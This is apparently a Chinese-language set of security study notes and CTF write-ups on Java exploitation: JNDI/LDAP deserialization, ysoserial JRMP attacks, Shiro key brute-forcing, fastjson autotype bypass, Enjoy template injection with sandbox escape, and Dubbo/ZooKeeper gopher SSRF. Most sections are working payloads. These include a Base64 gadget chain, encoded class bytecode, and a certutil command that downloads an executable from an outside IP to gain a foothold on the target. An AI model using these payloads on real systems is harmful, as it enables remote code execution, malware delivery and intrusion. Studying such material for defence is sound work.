                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

弹出计算器

image-20211212200921189

调试分析

前面都是lookup函数之间的跳转,主要到这里进入decodeObject

image-20211212203032233

到这里会进入反序列化

image-20211212203105999

image-20211212203249010

就进入了正常的反序列化流程。

参考

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/#%E4%BD%8E%E7%89%88%E6%9C%AC-1

https://paper.seebug.org/942/

https://xz.aliyun.com/t/3787

https://blog.csdn.net/solitudi/article/details/120737374?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0.no_search_link&spm=1001.2101.3001.4242.1

前言

目前很多的反序列化的漏洞在利用的过程中都使用到了JRMPListener,JRMPClient。但实际上,在ysoserial项目中,exploit和payloads这2个单词意义是不同的。以前我一直都不怎么区分这2个概念。payloads偏向于一种静态的概念,可以是生成的二进制负载数据。exploit更偏向于一种主动的攻击程序。下面我用2个本地的简单的demo就能对比一下。

因为JRMP实际上是调用远程方法,所以

使用JRMP模拟RMI Client反打

第一步

在VPS端开启JRMPListener

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 'calc'

第二步

生成JRMPClient Payloads

java -jar ysoserial.jar JRMPClient 47.97.123.81:7777|base64  -w 0

image-20211202111259224

获取base64之后的反序列化字符串

第三步

打到本机环境里

package com.example.demo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import tools.Tools;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;

@Controller
public class CommonsCollectionsVuln {

    @ResponseBody
    @RequestMapping("/cc11")
    public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
        String data = request.getParameter("data");
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "Hello,World";
    }

    @ResponseBody
    @RequestMapping("/demo")
    public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        return "This is OK Demo!";
    }
}

jdk8u231之前的版本可用(绕过JEP290) 成功弹计算器,且vps上显示调用数据

image-20211202105329047

疑问

为什么要这样打?

其实JRMP算是一条单独的链子,利用链

/** 
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)(!!JRMP请求的发送处!!)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)(这里是我们上面JRMP服务端打客户端,客户端的反序列化触发处)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 ------这里实际上不是一个连贯的调用栈,之后说明-----
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)(!!反序列化的入口!!)

反序列化的入口其实不止readobject(),还有readExternal(),只不过后者稍微少见点。

主要是为了绕过一些特定的黑名单,因为这里的反序列化内容实际上是调用了远程RMI服务,然后RMI服务调用远程服务器上的cc链。而不是直接的反序列化cc链。

使用JRMP正打,攻击RMI Server端

第一步

生成JRMPListener Payloads

java -jar ysoserial.jar JRMPListener 7778 | base64 -w 0

image-20211202112126132

打到服务器里,为了让靶机在7778端口开放一个rmi服务

第二步

攻击靶机 因为我服务器访问不到本地所以这里用了本机的ysoserial

java -cp ysoserial.jar ysoserial.exploit.JRMPClient "127.0.0.1" 7778 CommonsCollections6 "calc"

利用链

/**
 * Gadget chain:
 * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
 * UnicastRemoteObject.reexport() line: 266
 * UnicastRemoteObject.exportObject(Remote, int) line: 320
 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
 * LiveRef.exportObject(Target) line: 147
 * TCPEndpoint.exportObject(Target) line: 411
 * TCPTransport.exportObject(Target) line: 249
 * TCPTransport.listen() line: 319
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - Port number to open listener to
 */

jdk8u121,7u131,6u141之前(JEP290) 成功弹出计算器 jdk8u181下失败

参考

https://lalajun.github.io/2020/06/22/RMI%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E6%B7%B1%E5%85%A5-%E4%B8%8B/

https://lalajun.github.io/2020/06/22/RMI%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E6%B7%B1%E5%85%A5-%E4%B8%8A/#%E6%8E%A2%E6%B5%8B%E5%88%A9%E7%94%A8%E5%BC%80%E6%94%BE%E7%9A%84RMI%E6%9C%8D%E5%8A%A1

密钥检测部分

密钥检测原理

首先是检测是否为shiro

检测是否为shiro,只需要在http头输入rememberMe=1,那么响应头就会有rememberMe=deleteMe字段。

image-20211104161349572

核心点在shiro-core-1.2.4-sources.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.javagetRememberedPrincipals方法中。

当key不正确时,AbstractRememberMeManager#decrypt是处理解密的过程

image-20211104162422794

我们调式一下,跟进cipherService.decrypt

image-20211104162600212

因为无法正确解密,所以抛出错误。

image-20211104162715859

并进入AbstractRememberMeManager#getRememberedPrincipals的错误处理。

然后跟进onRememberedPrincipalFailure方法。

image-20211104162956302

然后进入forgetIdentity 方法。

image-20211104163307745forgetIdentity 方法当中从 subjectContext 对象获取 requestresponse ,继续由forgetIdentity(HttpServletRequest request, HttpServletResponse response)这个构造方法处理。

继续跟进进入removeFrom

image-20211104164427027

关键就是addCookieHeader增加了rememberMe字段

image-20211104165157339

爆破密钥

那么,如果我们输入了正确的cookie,那么会如何处理?

image-20211104174623236

如果是正确的,那么就不会进入错误处理,而是正确的反序列化,因此不会打印出rememberMe=deleteMe

所以我们选择用不同的密钥加密,当爆破到正确的密钥时,就不会输出rememberMe=deleteMe

  • 构造一个继承 PrincipalCollection 的序列化对象。
  • key正常不返回deleteMe,key错误返回deleteMe

image-20211104193949273

所以就找到了simplePrincipalCollection

因此就用密钥序列化这个类。

密钥检测实现

public class KeyDetect {
    public byte[] getPayload() throws Exception {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ObjectOutputStream obj = new ObjectOutputStream(barr);
        obj.writeObject(simplePrincipalCollection);
        obj.close();


        return barr.toByteArray();
    }
}

首先我们就对SimplePrincipalCollection类序列化。

然后对序列化数据进行AES加密。

public class createAESGCMCipher {
    //实现AES中的GCM加密 shiro1.4.2版本更换为了AES-GCM加密方式
    public static String encrypt(String Shirokey) throws Exception {
        byte[] payloads = new KeyDetect().getPayload();
        byte[] key = java.util.Base64.getDecoder().decode(Shirokey);


        int ivSize = 16;
        byte[] iv = new byte[ivSize];
        SecureRandom random = new SecureRandom();
        random.nextBytes(iv);
        GCMParameterSpec ivParameterSpec = new GCMParameterSpec(128,iv);
        SecretKeySpec secretKeySpec = new SecretKeySpec(key, "AES");
        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
        cipher.init(1, secretKeySpec, ivParameterSpec);
        byte[] encrypted = cipher.doFinal(payloads);
        byte[] encryptedIvandtext = new byte[ivSize + encrypted.length];
        System.arraycopy(iv, 0, encryptedIvandtext, 0, ivSize);
        System.arraycopy(encrypted, 0, encryptedIvandtext, ivSize, encrypted.length);
//        return new BASE64Encoder().encode(encrypted);//此处使用BASE64做转码功能,同时能起到2次加密的作用。
        String b64Payload = Base64.encodeToString(encryptedIvandtext);


//        System.out.println(b64Payload);
        return b64Payload;
    }

}

然后对序列化数据进行AES加密。

这里的加密方式分为CBC加密和GCM加密。

在shiro1.4.2版本更换为了AES-GCM加密方式。

然后用java实现发包,注意这里要检测一下是否为https,如果是就跳过证书检测。否则会报错。

if (url.startsWith("https")) {
SSLContext sslContext = SSLContext.getInstance("SSL");
TrustManager[] tm = new TrustManager[]{new MyCert()};
sslContext.init(null, tm, new SecureRandom());
SSLSocketFactory ssf = sslContext.getSocketFactory();
hsc = (HttpsURLConnection)realUrl.openConnection();

hsc.setSSLSocketFactory(ssf);
hsc.setHostnameVerifier(allHostsValid);
httpUrlConn = hsc;
}else {
hc = (HttpURLConnection)realUrl.openConnection();
hc.setRequestMethod("GET");
hc.setInstanceFollowRedirects(false);
System.out.println(hc.getRequestProperties());
httpUrlConn = hc;
}

注意这里javafx的ui会卡住,所以我使用了多线程。

        Thread thread = new Thread(()->{
            ShiroKeyDetect shiroKeyDetect = new ShiroKeyDetect();
            String targetUrl = attackUrl.getText();
            if(ShiroKeyDetect.isShiro(targetUrl)){
                try {
                    shiroKeyDetect.ShiroKey(targetUrl);
                } catch (Exception e) {
                    e.printStackTrace();
                }

            }else {
                result.appendText("未检测到shiro框架"+"\n");
            }

        });
        thread.start();

这样在处理的时候就不会未响应了。

ShiroKey检测项目地址https://github.com/Yang9999999/ShiroKeyDetect

参考 :https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ

fastjson1.2.25-1.2.47绕过

在1.2.25之前,因为默认AutoTyep是开启的,也没有什么限制,在1.2.25开始,fastjson就关闭了autotype,并且加入了,并且加入了checkAutotype

checkAutoType补丁分析

在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。

前面的[绕过和L绕过就不说了,说一下通杀,不开autotype也能用的姿势。

1.2.25-1.2.47通杀

漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测

这里有两个版本段:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}

使用1.2.47复现

因为没有开启autotypeSupport,不会进入这里的判断

image-20210927104941179

因为type的值是java.lang.Class所以在findClass可以找到

image-20210927105802222

这里获取了JdbcRowSetImpl

这里使用了TypeUtils.loadClass函数加载了strVal,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map中

image-20210927110716316

image-20210927110729822

然后再次进入loadclass加载了该类

然后在这里存入了缓存到className里

image-20210927110939895

再次进入checkautotype函数时,这里就从缓存加载了这个类

image-20210927111134849

绕过了检查。然后触发方式就和之前一样了

Unsecure Blog

http://39.105.169.140:30000/

首先是设置调试:先下载源码。

image-20211020125549972

IDEA打开源码,设置远程JVM调试复制调试信息到bat文件里

image-20211020125626265

  • suspend=n 用来告知 JVM 立即执行,不要等待未来将要附着上/连上(attached)的调试者。如果设成 y, 则应用将暂停不运行,直到有调试者连接上

image-20211020125849920

将lib添加为库

然后再jfinal-blog包里下断点

image-20211020125933800

在启动文件bat里可以看到主类目录

命令行启动java项目

jfinal.bat start

image-20211020130045632

点击启动调试

后台jfinal/111111

登录后preview有ssti

image-20211020143013811

这里用到了enjoy模板

https://p1n93r.github.io/post/code_audit/jfinal_enjoy_template_engine%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/

enjoy模板官方文档https://jfinal.com/doc/6-2

image-20211020151128575

这里存在SSTI

image-20211020151832846

翻阅文档可以发现了可以调用静态方法。

如果直接调用实例对象的方法,在模板源码里有一些拦截

Class<?>[] cs = new Class[] { 
        System.class, Runtime.class, Thread.class, Class.class, ClassLoader.class, File.class, Compiler.class, InheritableThreadLocal.class, Package.class, Process.class, 
        RuntimePermission.class, SecurityManager.class, ThreadGroup.class, ThreadLocal.class, Method.class, Proxy.class, ProcessBuilder.class, MethodKit.class };
    for (Class<?> c : cs)
      forbiddenClasses.add(c); 
    String[] ms = { 
        "getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", "notify", "notifyAll", "wait", "exit", 
        "loadLibrary", "halt", "stop", "suspend", "resume", "removeForbiddenClass", "removeForbiddenMethod" };

目前要达到命令执行必须达成三个条件

  • 只能调用公共静态方法;
  • 不能调用类黑名单中的类;
  • 不能调用方法黑名单中的方法;

不使用new的方式,常用的依赖于JDK来达到命令执行的方法,无非就是通过反射或类加载器来实例化ProcessBuilder对象来执行命令,或者通过反射调用java.lang.Runtime的exec()方法来执行命令

所以核心问题在于:找一个能返回实例的静态方法

虽然环境里的依赖是fastjson1.2.73 但是fastjson是支持自己手动开autotype和添加白名单的

所以代码长这样

com.alibaba.fastjson.parser.ParserConfig.getGlobalInstance().addAccept("javax.script.ScriptEngineManager");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

转换成模板注入就是这样

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))

getGlobalInstance刚刚好好是个静态方法
而JSON.parse也同样是静态方法 所以就可以利用fastjson来创建任意的对象了。这里如果jdk低版本就可以用fastjson打jndi注入了。

最后是选择了 javax.script.ScriptEngineManager来执行Java代码

fastjson添加白名单的方法为addAccept

因此添加白名单:

#(x.addAccept("javax.script.ScriptEngineManager"))

我们先把javax.script.ScriptEngineManager添加为白名单。

然后使用fastJson加载javax.script.ScriptEngineManager

#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))

这样就能得到一个ScriptEngineManager实例。

然后用这个实例来执行命令

#set(b=a.getEngineByName('js'))
#set(payload=xxxxxx)
#(b.eval(payload))

组合起来的payload就是

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#(x.addAccept("javax.script.ScriptEngineManager"))
#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(b=a.getEngineByName('js'))
#set(payload=xxxxxx)
#(b.eval(payload))

那么eval里就能执行Java代码。

image-20211020161721119

这样可以执行java代码

当我们执行

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())#(x.setAutoTypeSupport(true))#(x.addAccept("javax.script.ScriptEngineManager"))#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))#set(b=a.getEngineByName('js'))#set(payload="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"calc\");")#(b.eval(payload))

但是此时将代码换成执行命令的方法时却没有执行命令。會返回

image-20211020162418085

发现这里有执行命令的限制

public class ForbiddenSecurityManager {  public static void setSecurityManager() {    SecurityManager oldSecurityManager = System.getSecurityManager();    if (oldSecurityManager == null) {      SecurityManager execSecurityManager = new SecurityManager() {          private void check(Permission permission) {            if (permission instanceof java.io.FilePermission) {              String actions = permission.getActions();              if (actions != null && actions.contains("execute"))                throw new SecurityException("cant execute file!");               if (actions != null && actions.contains("write") &&                 permission.getName().endsWith(".dll"))                throw new SecurityException("cant create dll file");             }             if (permission instanceof RuntimePermission) {              String name = permission.getName();              if (name != null && name.contains("setSecurityManager"))                throw new SecurityException("cant overwrite SecurityManager!");             }           }          public void checkPermission(Permission perm) {            check(perm);          }          public void checkPermission(Permission perm, Object context) {            check(perm);          }        };      System.setSecurityManager(execSecurityManager);    }   }}

那么接下来就是如何绕过这个沙盒。

https://www.anquanke.com/post/id/151398#h3-6

这里尝试加载字节码,执行反射的内容。来bypass沙箱的限制

首先我们需要简单的了解下java中的js命令执行

https://xz.aliyun.com/t/8697

最后使用js引擎加载字节码,成功RCE

payload

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())#(x.setAutoTypeSupport(true))#(x.addAccept("javax.script.ScriptEngineManager"))#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))#set(b=a.getEngineByName('js'))#set(payload="var clazz = java.security.SecureClassLoader.class; var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE); method.setAccessible(true); var classBytes = 'yv66vgAAADQAVQoADQAsCAAtCgAFAC4IAC8HADAHACkHADEHADIHADYJADcAOAoABQA5CgA6ADsHADwIAD0KADcAPgoAOgA/BwBACgARAEEHAEIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQADY2x6AQARTGphdmEvbGFuZy9DbGFzczsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAJTEV4cGxvaXQ7AQANU3RhY2tNYXBUYWJsZQcAQgcAQAEACkV4Y2VwdGlvbnMHAEMBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADEV4cGxvaXQuamF2YQwAFAAVAQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsDABEAEUBAAVzdGFydAEAD2phdmEvbGFuZy9DbGFzcwEADWphdmEvdXRpbC9NYXABABBqYXZhL2xhbmcvU3RyaW5nBwBHAQAIUmVkaXJlY3QBAAxJbm5lckNsYXNzZXMBACRbTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdDsHAEgMAEkAGgwASgBLBwBMDABNAE4BABBqYXZhL2xhbmcvT2JqZWN0AQAEY2FsYwwATwBQDABRAFIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABTABUBAAdFeHBsb2l0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBUAQAhamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyJFJlZGlyZWN0AQARamF2YS9sYW5nL0Jvb2xlYW4BAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgAhABMADQAAAAAAAgABABQAFQACABYAAADsAAkAAwAAAGYqtwABEgK4AANMKxIECL0ABVkDEgZTWQQSB1NZBRIIU1kGEglTWQeyAApTtgALTSwEtgAMLCsIvQANWQMEvQAIWQMSDlNTWQQBU1kFAVNZBgFTWQcDuAAPU7YAEFenAAhMK7YAErEAAQAEAF0AYAARAAMAFwAAACYACQAAAAYABAAIAAoACQAvAAoANAALAF0ADgBgAAwAYQANAGUADwAYAAAAKgAEAAoAUwAZABoAAQAvAC4AGwAcAAIAYQAEAB0AHgABAAAAZgAfACAAAAAhAAAAEAAC/wBgAAEHACIAAQcAIwQAJAAAAAQAAQAlAAkAJgAnAAIAFgAAACsAAAABAAAAAbEAAAACABcAAAAGAAEAAAASABgAAAAMAAEAAAABACgAKQAAACQAAAAEAAEAEQACACoAAAACACsANQAAAAoAAQAzAEYANAQJ'; var bytes = java.util.Base64.getDecoder().decode(classBytes); var constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);print(clz); clz.newInstance();")#(b.eval(payload))

字节码文件

import java.io.IOException;import java.lang.reflect.Method;import java.util.Map;public class Exploit {    public Exploit() throws IOException {        try {            Class clz = Class.forName("java.lang.ProcessImpl");            Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);            method.setAccessible(true);            method.invoke(clz, new String[]{"calc"}, null, null, null, false);        } catch (Exception e) {            e.printStackTrace();        }    }    public static void main(String []args) throws Exception {    }}

然后就可以下载文件上线了。远程有杀软

import java.io.IOException;import java.lang.reflect.Method;import java.util.Map;public class Exploit {    public Exploit() throws IOException {        try {            Class clz = Class.forName("java.lang.ProcessImpl");            Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);            method.setAccessible(true);            method.invoke(clz, new String[]{"cmd","/c","certutil.exe -urlcache -split -f http://47.97.123.81/huorong.exe"}, null, null, null, false);        } catch (Exception e) {            e.printStackTrace();        }    }    public static void main(String []args) throws Exception {        Exploit exploit = new Exploit();    }}

image-20211021131059579

用#include可以读文件,先导出注册表,再读文件。

不使用fastjson的姿势

image-20211021083017063

我们搜索newInstance(

可以找到这个静态方法,也可也实例化一个类。因此调用:

#((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension("js").eval("555-444"))

参考

https://p3rh4ps.top/index.php/2021/10/18/bytectf-unsecure-blog-enjoy%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/

https://jfinal.com/doc/6-7

https://guokeya.github.io/post/KJ3cWdlP1/

XCTF-dubbo

首先要知道dubbo是什么:

https://dubbo.apache.org/zh/docs/introduction/

dubbo的官方解释

这里写图片描述

节点角色说明:
Provider: 暴露服务的服务提供方。
Consumer: 调用远程服务的服务消费方。
Registry: 服务注册与发现的注册中心。
Monitor: 统计服务的调用次调和调用时间的监控中心。
Container: 服务运行容器。

调用关系说明:
0 服务容器负责启动,加载,运行服务提供者。
1 服务提供者在启动时,向注册中心注册自己提供的服务。
2 服务消费者在启动时,向注册中心订阅自己所需的服务。
3 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
4 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
5 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

攻击zookeeper

当我们简单了解了dubbo和zookeeper时,我们尝试本地搭建环境。

首先下载zookeeper,然后源码启动Provider和Consumer。

在zookeeper通信的时候抓包

socat -v -x tcp-listen:9992,fork tcp-connect:127.0.0.1:2181

这里监听9992端口,然后把流量发到2181到zookeeper里。那么我们就用cli连9992端口,那么就可以把流量转到2181的zookeeper服务里。中间经过socat抓到了流量。

image-20211022181358249

那么我们就可以把流量改成gopher包来发送数据。

可以看到from 0 to 48是每次连接zookeeper都要使用的包,因此每次攻击必须放在前面。

因为kali里没有启动dubbo服务,用windows启动服务。然后转发流量抓包

红框标注的就是ls /的流量

image-20211022185042451

socat -v -v -x tcp-listen:9990,fork tcp-connect:192.168.75.1:2181
zkCli.cmd -server 192.168.75.137:9990

image-20211022185347002

这样可以清楚的看到zookeeper·里的结构。

发现在/dubbo/dubbo.service.DemoService/providers/

下有

dubbo%3A%2F%2F169.254.102.52%3A20880%2Fdubbo.service.DemoService%3Fanyhost%3Dtrue%26application%3Ddubbo-provider%26deprecated%3Dfalse%26dubbo%3D2.0.2%26dynamic%3Dtrue%26generic%3Dfalse%26interface%3Ddubbo.service.DemoService%26metadata-type%3Dremote%26methods%3DsayHello%26pid%3D40620%26release%3D2.7.8%26revision%3D1.0.0%26side%3Dprovider%26timestamp%3D1634887913064%26version%3D1.0.0

解码一下就是

dubbo://169.254.102.52:20880/dubbo.service.DemoService?anyhost=true&application=dubbo-provider&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=dubbo.service.DemoService&metadata-type=remote&methods=sayHello&pid=40620&release=2.7.8&revision=1.0.0&side=provider&timestamp=1634887913064&version=1.0.0

因为是本地所以这里协议地址就是169,内网ip没获取到

根据https://xz.aliyun.com/t/7354,只要让他java反序列化就行了。最后用gopher将流量打进去。

我们根据这篇文章改一下这个目录。

改完之后是

dubbo://139.199.203.253:20890/dubbo.service.DemoService?anyhost=true&application=dubbo-provider&bean.name=ServiceBean:dubbo.service.DemoService:1.0.0&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=dubbo.service.DemoService&methods=sayHello&pid=41643&register=true&release=2.7.3&revision=1.0.0&side=provider&serialization=java&timestamp=1605961792779&version=1.0.0 139.199.203.253

这里主要修改的就是serialization=java

那么我们要创建这个目录,命令就是

create /dubbo/dubbo.service.DemoService/providers/dubbo%3A%2F%2F139.199.203.253%3A20890%2Fdubbo.service.DemoService%3Fanyhost%3Dtrue%26application%3Ddubbo-provider%26bean.name%3DServiceBean%3Adubbo.service.DemoService%3A1.0.0%26deprecated%3Dfalse%26dubbo%3D2.0.2%26dynamic%3Dtrue%26generic%3Dfalse%26interface%3Ddubbo.service.DemoService%26methods%3DsayHello%26pid%3D41643%26register%3Dtrue%26release%3D2.7.3%26revision%3D1.0.0%26side%3Dprovider%26serialization%3djava%26timestamp%3D1605961792779%26version%3D1.0.0 139.199.203.253

那我们先在shell里模拟一下,然后转换成gopher形式。尝试用curl打一下看看会不会生成。这里转换gopher推荐使用cyberchef

image-20211022203934268

然后二次编码,加上gopher头就可以了。

所以下面就是抓流量=>改成gopher协议的过程。

先发送登录流量,再发送create流量,伪造一个我们的恶意消费者。

我这里先create一个恶意的服务器,然后捕获这部分流量,转换成gopher

image-20211022212647227

然后把刚才登录zookeeper的那部分gopher拼接到前面

image-20211022212750342我先把这个东西删掉。现在打一下gopher(本地起一个ssrf的点)

image-20211022212943368

image-20211022212843942

